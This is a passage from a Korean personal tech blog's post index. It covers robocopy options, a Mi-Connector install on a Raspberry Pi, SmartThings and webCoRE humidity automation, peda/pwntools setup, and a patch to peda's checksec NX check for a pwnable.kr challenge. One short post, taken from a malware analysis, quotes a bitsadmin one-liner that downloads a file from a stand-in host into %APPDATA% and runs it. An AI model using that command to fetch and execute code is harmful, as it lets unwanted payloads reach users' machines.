타임스탬프를 만들지 않습니다. /X :: 선택된 파일을 제외하고 모든 추가 파일을 보고합니다. /V :: 자세한 정보 표시를 출력하고 건너뛴 파일을 표시합니다. /TS :: 출력에 원본 파일 타임스탬프를 포함합니다. /FP :: 출력에 파일의 전체 경로 이름을 포함합니다. /BYTES :: 바이트 크기로 인쇄합니다. /NS :: 크기 없음 - 파일 크기를 기록하지 않습니다. /NC :: 클래스 없음 - 파일 클래스를 기록하지 않습니다. /NFL :: 파일 목록 없음 - 파일 이름을 기록하지 않습니다. /NDL :: 디렉터리 목록 없음 - 디렉터리 이름을 기록하지 않습니다. /NP :: 진행률 없음 - 복사율(%)을 표시하지 않습니다. /ETA :: 복사하는 파일의 예상 도착 시간을 표시합니다. /LOG:file :: 상태를 로그 파일에 출력합니다. 기존 로그를 덮어씁니다. /LOG+:file :: 상태를 로그 파일에 출력합니다. 기존 로그에 추가합니다. /UNILOG:file :: 상태를 유니코드로 로그 파일에 출력합니다. 기존 로그를 덮어씁니다. /UNILOG+:file :: 상태를 유니코드로 로그 파일에 출력합니다. 기존 로그에 추가합니다. /TEE :: 로그 파일과 콘솔 창에 출력합니다. /NJH :: 작업 헤더가 없습니다. /NJS :: 작업 요약이 없습니다. /UNICODE :: 상태를 유니코드로 출력합니다. :: :: 작업 옵션: :: /JOB:jobname :: 명명된 작업 파일에서 매개 변수를 가져옵니다. /SAVE:jobname :: 명명된 작업 파일에 매개 변수를 저장합니다. /QUIT :: 매개 변수를 볼 수 있도록 명령줄을 처리한 후에 끝냅니다. /NOSD :: 원본 디렉터리가 지정되어 있지 않습니다. /NODD :: 대상 디렉터리가 지정되어 있지 않습니다. /IF :: 다음 파일을 포함합니다. :: :: 설명: :: 이전에 볼륨의 루트 디렉토리에서 /PURGE 또는 /MIR 사용하면 요청된 작업이 robocopy에 의해 시스템 볼륨 정보 디렉터리 내부의 파일에도 적용되었습니다. 이제는 더 이상 적용되지 않습니다. 둘 중 하나가 지정되면 robocopy는 복사본 세션의 최상위 원본 및 대상 디렉토리에서 해당 이름을 가진 파일 또는 디렉토리를 건너 뜁니다. 수정된 파일 분류는 두 원본 모두에 적용되는 경우에만 적용됩니다 그리고 대상 파일 시스템은 변경 타임 스탬프를 지원합니다 (예: NTFS) 원본 및 대상 파일의 변경 시간은 다르지만 다른 경우에는 동일합니다. 기본적으로 이러한 파일은 복사되지 않습니다. 포함시키려면 /IM을 지정하세요. ","date":"2020-02-23T13:20:20+09:00","permalink":"/2020/02/23/robocopy-%EC%82%AC%EC%9A%A9%EB%B2%95/","title":"ROBOCOPY 사용법"},{"content":"개요 샤오미 가습기(모델명:CJXJSQ02ZM)를 Smartthings에서 컨트롤 하고자 라즈베리파이에 Mi-Connector를 설치하여 보았습니다.\n라즈베리파이 설정 우선 라즈베리파이 공식 홈페이지에서 라즈비안(어감이 좋지 않네요...Raspbian) 최신버전을 다운로드 합니다. 저는 콘솔에서만 작업할 예정이므로 'Raspbian Buster Lite'를 다운로드 했습니다.\nRaspbian : https://www.raspberrypi.org/downloads/raspbian/\nRaspbian Buster with desktop and recommended software 라즈비안 데스크톱 이미지에 Python,Scratch와 같은 프로그램들이 미리 설치되어있는 버전 Raspbian Buster with desktop 라즈비안 이미지에 필수적인 패키지들만 설치되어있는 버전 Raspbian Buster Lite 라즈비안 이미지에 데스크톱 환경이 설치되어 있지 않으며 GUI가 필요하지 않은 버전 다운로드가 끝나면 MicroSD 카드에 balenaEtcher 툴을 이용해 이미지를 올려줍니다. balenaEtcher : https://www.balena.io/etcher/\n라즈비안이 MicroSD 카드에 준비가 되면 카드를 연결하고 모니터, 키보드, 마우스, 전원을 꼽고 부팅합니다. 기본 계정은 다음과 같습니다\n1 ID: pi, Password: raspberry 이제 접속후 원격에서 SSH로 접근할 수 있도록 아래 명령어를 입력합니다.\n1 sudo raspi-config 그리고 'Interfacing Options \u0026gt; SSH'를 선택해 Enbaled 해줍니다. 다음으로 시간대를 맞춰야 하므로 'Localisation Options \u0026gt; Change Timezone'을 선택해 서울로 변경합니다.\n라즈베리파이에 Docker 설치 이제 SSH를 통해 원격으로 접근이 가능하다면 Docker를 설치해봅시다. 아래 명령어를 통해 Docker 설치 스크립트를 받습니다.\n1 2 wget get.docker.com -O get-docker.sh sudo bash get-docker.sh 도커가 잘 실행되고 있는지 확인해 봅시다.\n1 2 3 4 pi@raspberrypi:/docker/mi-connector $ ps -aux | grep docker root 1565 31.4 8.7 1007824 83356 ? Ssl 02:58 4:25 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock pi 3854 0.0 0.0 7348 424 pts/0 S+ 03:12 0:00 grep --color=auto docker pi@raspberrypi:/docker/mi-connector $ Mi-Connector 설치 참고 : https://github.com/fison67/mi_connector/blob/master/README.md#installation\nMi-Connector 도커 이미지를 다운로드 받아 실행을 합니다.\n1 2 3 4 5 sudo mkdir /docker sudo mkdir /docker/mi-connector sudo chown -R pi:pi /docker sudo docker pull fison67/mi-connector:latest sudo docker run -d --restart=always -v /docker/mi-connector:/config --name=mi-connector --net=host -e TZ=Asia/Seoul fison67/mi-connector:latest 그리고 데이터베이스도 설치합니다.\n1 2 sudo docker pull jsurf/rpi-mariadb sudo docker run -d --restart=always --name mariadb -e MYSQL_ROOT_PASSWORD=password -e TZ=Asia/Seoul -p 33006:3306 -d jsurf/rpi-mariadb 이제 도커가 잘 실행되고 있는지 확인해 봅시다.\n1 2 3 4 pi@raspberrypi:/docker/mi-connector $ sudo docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 577bcbabe8c7 fison67/mi-connector:latest \u0026#34;/bin/sh -c \u0026#39;npm sta…\u0026#34; 4 minutes ago Up 4 minutes mi-connector 9f0de0bd959c jsurf/rpi-mariadb Mi-Connector 설정 설치가 완료되었으면 http://라즈베리파이주소:30000 으로 접속해봅시다.\n먼저 'Settings \u0026gt; Settings'로 가서 'DB Settings' 항목에서 Resigter 버튼을 누른후 'Settings \u0026gt; Logs'에서 \u0026quot;DB is connected\u0026quot; 로그가 정상적으로 찍히는지 확인해야 합니다.\n그리고 'Home \u0026gt; Dashboard' 에서 Xiaomi Devices에 기기가 등록이 된다면 성공! 등록이 안된다면 'Manage Device \u0026gt; Search Device'를 통해 기기가 검색이 되는지 확인합시다. 기기가 검색이 된다면 토큰만 추출한다면 수동으로 등록을 할 수 있습니다.\n토큰 추출 방법 첫번째 방법 먼저 녹스앱플레이어를 통해 미홈(버젼 5.0.19) 앱을 실행합니다. 녹스 앱플레이어 : https://kr.bignox.com/미 홈(5.0.19) : https://www.apkmirror.com/apk/xiaomi-inc/mihome/mihome-5-0-19-release/mihome-5-0-19-android-apk-download/download/\n그리고 설정에서 'ROOT켜기' 옵션을 켠다음 미홈 앱을 실행하고 로그인후 등록하고자 하는 기기가 모두 올라오는 것을 확인합니다.\n이제 파일탐색기(File Manager)로 '/data/data/com.xiaomi.smarthome/database/miio2.db' 파일을 녹스앱플레이어 공유 폴더로 복사합니다.\n이후 해당 폴더를 밖으로 뺀다음 아래 툴로 miio2.db 파일을 열어봅니다. DB Browser for SQLite : https://sqlitebrowser.org/\n테이블명은 'devicerecord' 이고 각 기기별 token 칼럼을 확인할 수 있을겁니다.\n두번째 방법 스마트폰에 아래 버전의 미홈을 설치하고 '/Smarthome/logs/plug_DeviceManager' 폴더로 이동. 해당 폴더에 txt 파일이 있으며 파일을 잘 살펴보면 token을 확인할 수 있습니다.\nhttps://www.apkmirror.com/apk/xiaomi-inc/mihome/mihome-5-4-49-release/mi-home-5-4-49-android-apk-download/\n샤오미 기기 수동 등록 토큰 추출이 완료되었으면 다시 http://라즈베리파이주소:30000 로 접속합니다. 'Manage Device \u0026gt; Device Search'에서 나오는 IP를 기억합니다. 그리고 'Manage Device \u0026gt; Device List'에서 Add 버튼을 눌러 기기별 IP 및 토큰을 입력하면 됩니다. 이후 'Manage Device \u0026gt; Add Device[ST]'를 누르면 Smartthings에 기기가 등록이 됩니다.\n","date":"2020-02-20T12:56:50+09:00","permalink":"/2020/02/20/%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4%EC%97%90-mi-connector-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/","title":"라즈베리파이에 Mi-Connector 설치하기"},{"content":"웹코어를 작성하다 보면 상단에 메모리 사용량이 표시되는데 동일한 기능을 수행하는 코드라도 메모리 사용량에 차이가 있어 기록 차원에서 남겨둔다.\n아래는 수면시간중 침실 습도의 최적화를 위해 작성한 코드인데 코드 라인수는 동일하지만 트리거(좌측 번개표시)의 개수에 따라 메모리 사용량이 달라지는 것으로 보인다.\n첫번째 코드 : 메모리 사용량(27%) 트리거를 4개 사용, 각 각 일정에 맞게 가습기를 동작하도록 구성 두번째 코드 : 메모리 사용량(9%) 트리거를 2개 사용, 현재 습도에 따라 분기하여 각 각 일정조건이 맞는지 확인 개인적으로 코드 직관성은 첫번째가 좋으나 트리거가 적은 두번째로 작성하도록 고민이 필요해 보임...\n","date":"2020-02-11T05:05:08+09:00","permalink":"/2020/02/11/%EC%9B%B9%EC%BD%94%EC%96%B4webcore-%ED%8A%B8%EB%A6%AC%EA%B1%B0-%EA%B0%9C%EC%88%98%EC%97%90-%EB%94%B0%EB%A5%B8-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%80%ED%99%94/","title":"웹코어(webCoRE) 트리거 개수에 따른 메모리 변화"},{"content":"들어가며 최근 홈 IOT에 관심이 생겨 여러가지 작업을 진행했고 시행 과정에서 예상하지 못한 오류와 해결하기 위한 삽질 과정이 있어 공유 및 기록 차원에서 글을 남긴다.\n나의 홈 IOT 플랫폼은 Smartthings(이하 ST) 허브로 구축했고 webCoRE를 쓰지않고 ST 앱(Classic 아님, 일명 뉴앱)의 자동화(Automation) 기능만 활용하였다.\n그 이유는 아래 3가지 정도이며 ST 앱의 자동화 기능도 클라우드긴 하지만 ST 서버 장애시 webCoRE도 장애가 날 것이므로 한단계라도 줄이는게 낫다고 판단했다.\nwebCoRE 서버 장애시 기능정지 및 오동작 우려 클라우드 환경이다 보니 webCoRE를 한번 더 거치게 됨으로써 딜레이 발생 가능성 webCoRE를 사용할 정도의 복잡하고 세밀한 자동화 불필요 그리고 네이버 카페 등 많은 커뮤니티에서 ST Classic 앱을 더 선호하던데, 새로운 앱이 나온 이상 향후 뉴앱을 중심으로 개발되고 발전될 것으로 예상되어 뉴앱으로만 자동화 코드를 작성하였다.\n환경구성에 대한 설명은 이정도로 마치고 우선 첫번째로 IOT를 통해 수면환경을 개선하는 것을 목표로 취침시간중 습도를 45~55%로 유지하는 것으로 시작해봤다.\n준비 과정 허브 : Smartthings HUB 3세대 국내용 제품은 아직 없어 아마존에서 직구를 해야 했다. 미국용 제품이나 보니 Zigbee 기기 연결은 상관없으나, Z-Wave 기기 연결시 미국향 제품만 연동이 된다.\nSamsung SmartThings Hub 3rd Generation [GP-U999SJVLGDA] https://www.amazon.com/dp/B07FJGGWJL/ref=cm_sw_r_tw_dp_U_x_565oEb92T8R1B 습도센서 : Awair 2세대 제품 URL : https://kr.getawair.com/ 습도는 가습기 자체에서 체크도 가능하지만 기왕이면 향후 확장성(CO2 관리 등)을 고려해 온도, 습도, CO2, 화학물질, 초미세먼지 측정이 가능한 Awair 2세대 센서를 구매했다.\nAwair는 기본적으로 ST와 연동을 지원한다. 또한 Awair 전용앱에선 그래프를 통한 과거 수치 변화 및 알림 등 다양한 기능을 제공한다.\n가습기 : 샤오미 2세대 가습기(자연기화식, 모델명 : CJXJSQ02ZM) 가습기는 개인적으로 무조건 자연기화식이나 가열식을 써야 한다고 생각한다.\n이유는 초음파식 가습기는 물속의 이물질이 방출되어 직접 폐까지 전달될 수 있으며 과거 발생한 가습기살균제 사고도 초음파식 가습기로 인해 발생한 사고다.\n(http://nosearch.co.kr/221390119627, 카테고리 1-2 '가습 방식별 위생 안정성'을 꼭! 읽어보기 바람)\n이에 나는 자연기화식 가습기를 구매해 오랜기간 사용해오고 있다.\n각설하고 사오미 제품들은 미홈 앱을 통해 내가 원하는 다양한 자동화를 구성할 수 있다.\n(특정시간이나 특정 습도시 켜고 끄는 등 다양한 자동화가 가능)\n하지만 다양한 기기 및 센서 등을 활용하고자 샤오미 기기만 연동되는 미홈 앱은 사용하지 않는 것으로 결정했다.\n그리고 샤오미 가습기의 습도센서는 우리집의 실제 습도와 약 5~10% 높게 측정되어 신뢰성이 부족하였고, 향후 확장성도 고려해 Awair를 통해 습도를 확인하는 것으로 설정했다.\n스마트플러그 : 다원DNS Zigbee 스마트플러그 16A 제품 URL : https://pmshop.co.kr/product/detail.html?product_no=100\u0026cate_no=33\u0026display_group=1 Awair 센서를 통해 특정 습도 이하/이상일 경우 가습기를 켜고/끄기 위해 스마트플러그가 필요하였다. 국내 제품인 다원DNS의 Zigbee 스마트플러그를 구매, ST HUB와 연동하였다.\n연동 방법은 부엉이 님이 만드신 DTH를 활용하여 연동하였다.\nhttps://blog.weekendproject.net/248?category=707578\nhttps://github.com/WooBooung/BooungThings/blob/master/devicetypes/woobooung/dawondns-smartplug.src/dawondns-smartplug.groovy\n삽질의 시작..... -_- 가습기의 정전보상 기능 위 모든 기기를 모두 연결하고 ST 앱에도 연동에 성공, 이제 스마트플러그를 켜고 끄고 해보았다. 잘 켜고 꺼진다. 그런데 스마트플러그에 연결한 가습기가 꺼진 이후 켜지지가 않는다.\n그렇다. 샤오미 가습기는 정전보상 기능이 없었다.....\n정전보상 : https://terms.naver.com/entry.nhn?docId=2415895\u0026cid=51399\u0026categoryId=51399 전자제품의 경우 전기가 차단된 이후 다시 전기 공급시 이전 설정값으로 동작하는 정전보상 기능이 있는 제품들이 있으나 샤오미 기기는 그게 없었다.\n그래서 Raspberry Pi에 샤오미 기기들을 ST에 연결을 해주는 Mi-Connector를 설치하여 연동하는 방법으로 해야 하나 고민...(이거 하나 동작시키자고 이래야 하나?)\n그러다 아래와 같이 미홈 앱의 자동화 기능을 활용하여 손쉽게(?) 정전보상 기능을 대체하였다.\n이제 스마트플러그의 전원이 들어오면 가습기도 전원이 켜진다. (꺼지는건 당연히 꺼지고...)\nAwair 센서의 이상 ST와 연동된 Awair 센서에서 습도를 지속적으로 모니터링하여 가습기를 켰다 껐다 해야하는데 불특정하게 Awair 측정값들이 갱신이 안되고 멈추는 현상이 발생.\n이에 Awair 공식 서비스가 아닌 부엉이 님이 만들어 배포중인 스마트앱 및 DTH를 통해 연동하니 그러한 문제는 일어나지 않았다.\n차이는 공식은 실시간으로 각종 센서값을 받아오지만, 부엉이 님이 만드신 스마트앱은 API 호출이 하루 300회로 제한이 있어 5분에 한번씩 측정값을 받아오게 되어 있었다.\nhttps://blog.weekendproject.net/244?category=707578\nhttps://github.com/WooBooung/BooungThings\nhttps://youtu.be/KPhvK8RHhX4\n뉴앱 자동화 조건의 문제 다음 단계로 수면 환경 개선을 위해 Smartthings 앱의 자동화 기능을 아래와 같이 작성했다.\n수면시간(20:20~07:20) 동안 습도 45% 이하일 경우 가습기를 켬 수면시간(20:20~07:20) 동안 습도 55% 이상일 경우 가습기를 끔 기상시간(07:35)이 되면 가습기를 끔 그런데 자동화 1번 항목에서 문제가 발생. 수면시간인 20:20이 되었고 Awair 센서가 측정한 습도가 45%이하인데도 가습기가 켜지지 않았다. 이게 가장 오류를 찾기가 어려웠는데 온갓 뻘짓을 해보다 겨우 원인을 찾았다.\n처음에는 Awair 센서의 습도가 이전과 동일할 경우 Awair 센서의 History상에 습도가 업데이트 되지 않는 것을 확인하여 API를 참고해 코드를 수정, 이전 습도와 값이 동일하더라도 측정값이 반영되도록 하였지만 여전히 문제가 발생했다.\nhttps://docs.smartthings.com/en/latest/ref-docs/smartapp-ref.html#sendevent\n1 2 3 case \u0026#34;humid\u0026#34;: childDevice?.sendEvent(name: \u0026#34;humidity\u0026#34;, value: it.value as Integer, unit: \u0026#34;%\u0026#34;); break case \u0026#34;humid\u0026#34;: childDevice?.sendEvent(name: \u0026#34;humidity\u0026#34;, value: it.value as Integer, isStateChange: true, unit: \u0026#34;%\u0026#34;); break 그래서 지속적으로 관찰한 결과 습도값이 1이라도 변경이 되어야만 자동화가 활성화 되는것을 확인!\n예를들어 Awair 센서의 습도가 20:15경 43%인데 20:20 이후 계속 43%로 고정이 되어 값이 변하지 않는다면 습도 45% 이하라는 조건이 활성화 되지 않다가 42%와 같이 습도가 변경이 되어야만 활성화가 되었다.\n그래서 습도를 소수점 단위로 받는다면 값이 자주 바뀔것이므로 이러한 문제를 해결할 수 있으리라 생각, 부엉이 님의 스마트앱 코드를 수정하였다.\n1 2 3 4 5 6 case \u0026#34;humid\u0026#34;: childDevice?.sendEvent(name: \u0026#34;humidity\u0026#34;, value: it.value as Integer, unit: \u0026#34;%\u0026#34;); break case \u0026#34;humid\u0026#34;: Double humidDouble = it.value childDevice?.sendEvent(name: \u0026#34;humidity\u0026#34;, value: humidDouble.round(1), unit: \u0026#34;%\u0026#34;) break 이후 Awair 센서를 통해 습도를 소수점 단위로 잘 받아오는 것을 확인했고 자동화도 동작함을 확인했다.\n하지만 기쁨도 잠시 다음날 취침시간에 켜지지 않는 문제가 발생... 결국 뉴앱의 자동화는 버리고 webCoRE로 갈아탐 -_-\n결론 웹코어로 갈아타서 트리거 및 컨디션 등의 조건을 보다보니 뉴앱 오토메이션 'Equal to or below 45' 조건은 웹코어로 치면 컨디션이 아닌 트리거로 추측된다.\n웹코어의 'drops below 45' 트리거는 시작 시점의 습도가 44%라면 참이되지 않는다. 참이 되려면 시작 시점의 습도가 47%였다가 45% 밑으로 떨어져야만 참이된다. 그래서 위 뉴앱의 자동화 기능도 오류가 있었던 것으로 추측된다.\n나의 결론은 그냥 webCoRE 쓰세요. 두번 쓰세요...\n","date":"2020-02-08T16:40:53+09:00","permalink":"/2020/02/08/%EC%B9%A8%EC%8B%A4-%EC%8A%B5%EB%8F%84-%EC%B5%9C%EC%A0%81%ED%99%94/","title":"침실 습도 최적화"},{"content":"악성코드 분석글을 읽다 윈도우 환경에서 wget 명령어와 유사하게 파일을 다운로드 할 수 있는 기본 명령어가 있어 메모해 둡니다.\n1 ping 127.0.0.1 -n 3\u0026gt;null\u0026amp;bitsadmin /transfer myjob /download /priority high http://example.com/a.bin \u0026#34;%APPDATA%\\a.exe\u0026#34;\u0026gt;nul\u0026amp;start %APPDATA%\\a.exe 본 명령어는 Windows 7 이후부터 기본 명령어로 탑재된 것으로 보입니다.\n출처 : https://isc.sans.edu/forums/diary/Microsoft+BITS+Used+to+Download+Payloads/21027\n","date":"2016-10-11T13:25:07Z","permalink":"/2016/10/11/wget%EA%B3%BC-%EC%9C%A0%EC%82%AC%ED%95%9C-%EC%9C%88%EB%8F%84%EC%9A%B0-%EA%B8%B0%EB%B3%B8-%EB%AA%85%EB%A0%B9%EC%96%B4-bitsadmin/","title":"wget과 유사한 윈도우 기본 명령어 bitsadmin"},{"content":"[pwntools]\n1 2 sudo apt-get install build-essential libssl-dev libffi-dev python-dev binutils binutils-dev python2.7 python2.7-dev python-pip sudo pip install pwntools [peda]\n1 2 3 sudo apt-get install git git clone https://github.com/longld/peda.git ~/peda echo \u0026#34;source ~/peda/peda.py\u0026#34; \u0026gt;\u0026gt; ~/.gdbinit ","date":"2016-05-21T08:55:32Z","permalink":"/2016/05/21/peda-pwntools-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/","title":"peda, pwntools 설치하기"},{"content":"최근 pwnable.kr 문제 중 tiny_easy를 풀다 checksec 결과에서 NX 값이 잘못 표시되는 것을 확인하고 포스팅 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 tester@ubuntu:~$ gdb tiny_easy GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i686-linux-gnu\u0026#34;. Type \u0026#34;show configuration\u0026#34; for configuration details. For bug reporting instructions, please see: \u0026lt;http://www.gnu.org/software/gdb/bugs/\u0026gt;. Find the GDB manual and other documentation resources online at: \u0026lt;http://www.gnu.org/software/gdb/documentation/\u0026gt;. For help, type \u0026#34;help\u0026#34;. Type \u0026#34;apropos word\u0026#34; to search for commands related to \u0026#34;word\u0026#34;... Reading symbols from tiny_easy...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$ 위와 같이 checksec 명령어상에서는 NX가 켜져 있는것으로 확인되나 실제로는 꺼져 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 gdb-peda$ r Starting program: /home/tester/tiny_easy Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x0 ECX: 0x0 EDX: 0x6d6f682f (\u0026#39;/hom\u0026#39;) ESI: 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff1f4 --\u0026gt; 0x804805a (add BYTE PTR [eax],al) EIP: 0x6d6f682f (\u0026#39;/hom\u0026#39;) EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x6d6f682f [------------------------------------stack-------------------------------------] 0000| 0xbffff1f4 --\u0026gt; 0x804805a (add BYTE PTR [eax],al) 0004| 0xbffff1f8 --\u0026gt; 0x0 0008| 0xbffff1fc --\u0026gt; 0xbffff3c9 (\u0026#34;XDG_VTNR=7\u0026#34;) 0012| 0xbffff200 --\u0026gt; 0xbffff3d4 (\u0026#34;XDG_SESSION_ID=c2\u0026#34;) 0016| 0xbffff204 --\u0026gt; 0xbffff3e6 (\u0026#34;XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/tester\u0026#34;) 0020| 0xbffff208 --\u0026gt; 0xbffff418 (\u0026#34;SELINUX_INIT=YES\u0026#34;) 0024| 0xbffff20c --\u0026gt; 0xbffff429 (\u0026#34;CLUTTER_IM_MODULE=xim\u0026#34;) 0028| 0xbffff210 --\u0026gt; 0xbffff43f (\u0026#34;GPG_AGENT_INFO=/run/user/1000/keyring-vA2k21/gpg:0:1\u0026#34;) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x6d6f682f in ?? () gdb-peda$ nxtest [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x0 ECX: 0x0 EDX: 0x6d6f682f (\u0026#39;/hom\u0026#39;) ESI: 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff1f4 --\u0026gt; 0xcccccccc EIP: 0xbffff1f5 --\u0026gt; 0xcccccccc EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xbffff1ef: add BYTE PTR [ecx],al 0xbffff1f1: add BYTE PTR [eax],al 0xbffff1f3: add ah,cl =\u0026gt; 0xbffff1f5: int3 0xbffff1f6: int3 0xbffff1f7: int3 0xbffff1f8: int3 0xbffff1f9: int3 [------------------------------------stack-------------------------------------] 0000| 0xbffff1f4 --\u0026gt; 0xcccccccc 0004| 0xbffff1f8 --\u0026gt; 0xcccccccc 0008| 0xbffff1fc --\u0026gt; 0xbffff3c9 (\u0026#34;XDG_VTNR=7\u0026#34;) 0012| 0xbffff200 --\u0026gt; 0xbffff3d4 (\u0026#34;XDG_SESSION_ID=c2\u0026#34;) 0016| 0xbffff204 --\u0026gt; 0xbffff3e6 (\u0026#34;XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/tester\u0026#34;) 0020| 0xbffff208 --\u0026gt; 0xbffff418 (\u0026#34;SELINUX_INIT=YES\u0026#34;) 0024| 0xbffff20c --\u0026gt; 0xbffff429 (\u0026#34;CLUTTER_IM_MODULE=xim\u0026#34;) 0028| 0xbffff210 --\u0026gt; 0xbffff43f (\u0026#34;GPG_AGENT_INFO=/run/user/1000/keyring-vA2k21/gpg:0:1\u0026#34;) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGTRAP 0xbffff1f5 in ?? () NX test at stack: Executable gdb-peda$ 이에 checksec 명령어 관련 소스를 확인한 결과 peda에서는 아래 사이트의 스크립트를 참조함을 알 수 있었습니다. http://www.trapkit.de/tools/checksec.html\n또한 이와 동일한 오류가 pwntools github에 보고가 되어 있었습니다. (Thanks to laughfool) https://github.com/Gallopsled/pwntools/issues/442\nchecksec.sh 코드를 리뷰한 결과 NX 확인은 아래 명령어의 결과값이 없을 경우 ENABLE로 판단함을 알 수 있었습니다.\n1 2 3 4 5 6 7 8 9 10 11 tester@ubuntu:~$ readelf -W -l tiny_easy | grep \u0026#34;GNU_STACK\u0026#34; | grep \u0026#34;RWE\u0026#34; tester@ubuntu:~$ readelf -W -l tiny_easy Elf file type is EXEC (Executable file) Entry point 0x8048054 There are 1 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0x0005a 0x0005a R E 0x1000 tester@ubuntu:~$ tiny_easy 파일은 일반적인 ELF 파일과 다르게 GNU_STACK 이 없음을 알 수 있습니다. 이 경우 NX가 DISABLE로 되어야 하나 checksec.sh 스크립트에서는 이러한 예외사항을 고려하지 않았습니다. 이에 peda.py를 아래와 같이 수정 후 정상적인 결과값을 확인할 수 있었습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 def checksec(self, filename=None): \u0026#34;\u0026#34;\u0026#34; Check for various security options of binary (ref: http://www.trapkit.de/tools/checksec.sh) Args: - file: path name of file to check (String) Returns: - dictionary of (setting(String), status(Int)) (Dict) \u0026#34;\u0026#34;\u0026#34; result = {} result[\u0026#34;RELRO\u0026#34;] = 0 result[\u0026#34;CANARY\u0026#34;] = 0 result[\u0026#34;NX\u0026#34;] = 1 result[\u0026#34;PIE\u0026#34;] = 0 result[\u0026#34;FORTIFY\u0026#34;] = 0 if filename is None: filename = self.getfile() if not filename: return None out = execute_external_command(\u0026#34;%s -W -a \\\u0026#34;%s\\\u0026#34; 2\u0026gt;\u0026amp;1\u0026#34; % (config.READELF, filename)) if \u0026#34;Error:\u0026#34; in out: return None for line in out.splitlines(): if \u0026#34;GNU_RELRO\u0026#34; in line: result[\u0026#34;RELRO\u0026#34;] |= 2 if \u0026#34;BIND_NOW\u0026#34; in line: result[\u0026#34;RELRO\u0026#34;] |= 1 if \u0026#34;__stack_chk_fail\u0026#34; in line: result[\u0026#34;CANARY\u0026#34;] = 1 + # modified by JJoon + if \u0026#34;GNU_STACK\u0026#34; not in line: + result[\u0026#34;NX\u0026#34;] = 0 if \u0026#34;GNU_STACK\u0026#34; in line and \u0026#34;RWE\u0026#34; in line: result[\u0026#34;NX\u0026#34;] = 0 if \u0026#34;Type:\u0026#34; in line and \u0026#34;DYN (\u0026#34; in line: result[\u0026#34;PIE\u0026#34;] = 4 # Dynamic Shared Object if \u0026#34;(DEBUG)\u0026#34; in line and result[\u0026#34;PIE\u0026#34;] == 4: result[\u0026#34;PIE\u0026#34;] = 1 if \u0026#34;_chk@\u0026#34; in line: result[\u0026#34;FORTIFY\u0026#34;] = 1 if result[\u0026#34;RELRO\u0026#34;] == 1: result[\u0026#34;RELRO\u0026#34;] = 0 # ? | BIND_NOW + NO GNU_RELRO = NO PROTECTION # result[\u0026#34;RELRO\u0026#34;] == 2 # Partial | NO BIND_NOW + GNU_RELRO # result[\u0026#34;RELRO\u0026#34;] == 3 # Full | BIND_NOW + GNU_RELRO return result 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 tester@ubuntu:~$ gdb tiny_easy GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i686-linux-gnu\u0026#34;. Type \u0026#34;show configuration\u0026#34; for configuration details. For bug reporting instructions, please see: \u0026lt;http://www.gnu.org/software/gdb/bugs/\u0026gt;. Find the GDB manual and other documentation resources online at: \u0026lt;http://www.gnu.org/software/gdb/documentation/\u0026gt;. For help, type \u0026#34;help\u0026#34;. Type \u0026#34;apropos word\u0026#34; to search for commands related to \u0026#34;word\u0026#34;... Reading symbols from tiny_easy...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : disabled gdb-peda$ ","date":"2016-01-27T15:56:39Z","permalink":"/2016/01/27/checksecsh-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-nx-%ED%99%95%EC%9D%B8-%EA%B4%80%EB%A0%A8-%EC%98%A4%EB%8F%99%EC%9E%91/","title":"checksec.sh 스크립트 NX 확인 관련 오동작"},{"content":"문제 바이너리의 보안설정을 확인할 수 있는 스크립트다. http://www.trapkit.de/tools/checksec.html\n1 2 3 4 5 tester@ubuntu:~$ file tiny_easy 